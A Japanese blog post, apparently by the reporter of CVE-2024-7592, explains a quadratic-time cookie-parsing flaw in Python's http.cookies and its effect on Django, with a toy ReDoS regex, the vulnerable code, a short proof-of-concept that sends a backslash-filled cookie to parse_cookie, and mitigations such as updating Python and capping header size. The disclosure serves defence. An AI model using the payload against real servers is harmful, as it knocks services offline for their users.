Pythonの脆弱性CVE-2024-7592とDjangoへの影響
こんにちは、ユンソクチャンと申します。最近、私がPythonチームに報告した脆弱性が公開されました。
この脆弱性は、CVSS 3.xの基準で10点中7.5点で、「高い」深刻度と評価されました。この問題を悪用すると、インターネット上のすべてのDjangoサーバーでDoS(サービス拒否)攻撃を引き起こす可能性がありました。
Pythonの正規表現とReDoS脆弱性
正規表現はテキスト処理でよく使われる強力なツールです。しかし、正規表現が複雑になると、解析や一致を見つける計算量が急激に増加することがあります。Pythonのre
モジュールはバックトラッキングを使う方法で正規表現を処理します。この方法では、特定の入力で計算時間が指数関数的に増えることがあります。
import re
# the example of complex regex string
complex_regex = re.compile("(a+)+$")
def check_complex_string(s):
return complex_regex.match(s)
payload = "aaaaaaaaaaaaaaaaaaaaax"
check_complex_string(payload) # The payload makes backtracks
例えば、(a+)+b
という正規表現の文字列に aaaaaaaaaaaaaaaaX
のような文字列を入力すると、エンジンは多くの組み合わせを試し、時間がO(2^n)まで増加します( n
は文字列の長さです)。これはDoS攻撃につながる可能性があり、このような攻撃をReDoS(Regular Expression Denial of Service)と言います。
CVE-2024-7592の分析
CVE-2024-7592は、Pythonの基本ライブラリであるhttp.cookies
モジュールの_unquote()
メソッドで発見されたサービス拒否の脆弱性です。この脆弱性は、バックスラッシュのエスケープ文字を処理するための正規表現が非効率的であることから生じました。
# http/cookies.py
_OctalPatt = re.compile(r"\\[0-3][0-7][0-7]")
_QuotePatt = re.compile(r"[\\].")
def _unquote(str):
# ... (code omitted for brevity)
while 0 <= i < n:
o_match = _OctalPatt.search(str, i)
q_match = _QuotePatt.search(str, i)
# ... (further processing)
if q_match and (not o_match or k < j): # QuotePatt matched
res.append(str[i:k])
res.append(str[k+1])
i = k + 2
# ...
このコードでは、不必要な線形検索がn回反復されていますう。このコードの最悪の場合、計算量が二次式(O(n^2))となり、ReDoS攻撃に対して脆弱になります。パッチが適用される前の_unquote()
関数の実装は、GitHubのリポジトリで確認することができます。
下は、この問題を報告するために私が生成したissueです。
Djangoへの影響
この問題はDjangoフレームワークにも影響を与えます。Djangoの http.cookie
の parse_cookie()
関数は、ユーザーからのクッキーを処理するときに_unquote()
を使います。悪意のあるクッキー値を処理すると、サーバーの性能が大きく低下する可能性があります。たとえ404エラーのページでも、この関数が自動的に呼び出されるため、Djangoを使うすべてのウェブサービスが影響を受ける可能性があります。
PoC
下のコードでtriggerするこのができます。
#!/usr/bin/env python3
"""
A potential DoS vulnerability in Django's parse_cookie function.
"""
import time
from django.http import parse_cookie
# MAX_LENGTH = 8000
MAX_LENGTH = 20000
def test(payload: str) -> None:
print('[DEBUG] Payload Size : %d bytes' % len(payload))
start_time = time.time()
parse_cookie(payload)
end_time = time.time()
print('[DEBUG] Elapsed Time : %lf seconds' % (end_time - start_time))
if __name__ == '__main__'
payload = 'a=' + '"' + '\\' * MAX_LENGTH + '"' + ';'
test(payload)
この脆弱性がどれほど深刻かを示すために、DjangoサーバがCVE-2024-7592の影響で発生されたDoSによって、どのぐらい速度が遅くなるかを示すPoCを作成しました。
Djangoサーバは以下の uwsgi.ini
を通して実行されました。
[uwsgi]
http = :8000
module = simpleblog.wsgi
master = true
processes = 2
buffer-size = 8192
対策方法
Pythonチームはこの問題を修正するパッチを公開しました。
_unquote()
関数の正規表現を最適化し、悪意のある入力への対処を改善しました。Djangoを使っている場合、2024年9月6日にリリースされたPython 3.12.6にアップデートすることをおすすめします。
アップデートできない場合
システムの依存関係の問題で、すぐにPythonをアップデートできない場合でも、HTTPリクエストヘッダーのサイズを制限することで、DoS攻撃を十分に防ぐことができます。Apache、nginx、uWSGIなどのプロキシサーバーを利用して、HTTPヘッダーのサイズを制限できます。これらのサーバーは基本的に、Apacheは8KB、nginxとuWSGIはそれぞれ4KBの制限を持っています。このような設定は、ほとんどの異常なトラフィックを遮断し、サーバーのリソースを保護し、深刻なサービス停止を防ぐことができます。
しかし、8KBの基準でも、通常はマイクロ秒単位で処理できるクッキーの解析プロセスで、数百倍の時間遅延が発生する可能性があるため、パッチの適用が必須であると考えられます。